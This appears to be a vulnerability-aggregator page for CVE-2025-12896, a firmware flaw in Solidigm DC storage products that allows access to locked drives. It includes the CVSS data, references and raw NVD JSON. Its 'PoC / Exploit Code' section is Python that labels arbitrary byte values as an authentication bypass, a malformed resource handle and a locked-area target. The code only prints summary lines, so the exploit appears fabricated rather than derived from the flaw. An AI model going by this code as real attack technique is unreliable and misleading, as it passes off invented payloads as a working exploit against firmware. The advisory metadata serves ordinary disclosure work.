CVE-2025-12896

Description

Improper resource management in firmware of some Solidigm DC Products may allow an attacker with local or physical access to gain un-authorized access to a locked storage device.

CVSS Details

CVSS Score

4.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Solidigm DC Series Firmware (具体版本未知，建议联系厂商获取受影响版本列表)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-12896 PoC - Conceptual Proof of Concept
# Note: This is a conceptual PoC for educational purposes
# Actual exploitation requires physical access and specialized tools

import struct

def cve_2025_12896_poc():
    """
    Conceptual PoC for Solidigm DC improper resource management vulnerability
    This demonstrates the attack concept - actual exploitation requires:
    - Physical access to the storage device
    - Specialized firmware manipulation tools
    - Device-specific command interface
    """
    
    # Firmware command structure
    FW_CMD_HEADER = {
        'signature': 0xAA55,
        'cmd_id': 0xE001,  # Debug/Service command
        'length': 0x100,
        'flags': 0x00
    }
    
    # Exploit payload to trigger improper resource handling
    exploit_payload = bytearray()
    
    # Step 1: Bypass authentication check
    exploit_payload += struct.pack('<H', 0x0001)  # Auth bypass flag
    
    # Step 2: Trigger resource management flaw
    exploit_payload += struct.pack('<I', 0xFFFFFFFF)  # Malformed resource handle
    
    # Step 3: Access locked storage region
    exploit_payload += struct.pack('<Q', 0x00)  # Target LBA (Locked Area)
    
    return {
        'header': FW_CMD_HEADER,
        'payload': exploit_payload,
        'description': 'This PoC demonstrates the concept of exploiting improper resource management'
    }

if __name__ == "__main__":
    poc_data = cve_2025_12896_poc()
    print(f"PoC for CVE-2025-12896")
    print(f"Target: Solidigm DC Products")
    print(f"Vulnerability: Improper Resource Management")
    print(f"CVSS: 4.4 (Medium)")
    print(f"Note: Physical access required for exploitation")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12896
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12896
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12896/
[4] VulDB https://vuldb.com/cve/CVE-2025-12896
[5] https://www.solidigm.com/support-page/support-security.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12896", "sourceIdentifier": "f946a70c-00eb-42ce-8e9b-634d1f7b5a6f", "published": "2025-11-07T21:15:40.750", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper resource management in firmware of some Solidigm DC Products may allow an attacker with local or physical access to gain un-authorized access to a locked storage device."}], "metrics": {"cvssMetricV31": [{"source": "f946a70c-00eb-42ce-8e9b-634d1f7b5a6f", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "f946a70c-00eb-42ce-8e9b-634d1f7b5a6f", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "references": [{"url": "https://www.solidigm.com/support-page/support-security.html", "source": "f946a70c-00eb-42ce-8e9b-634d1f7b5a6f"}]}}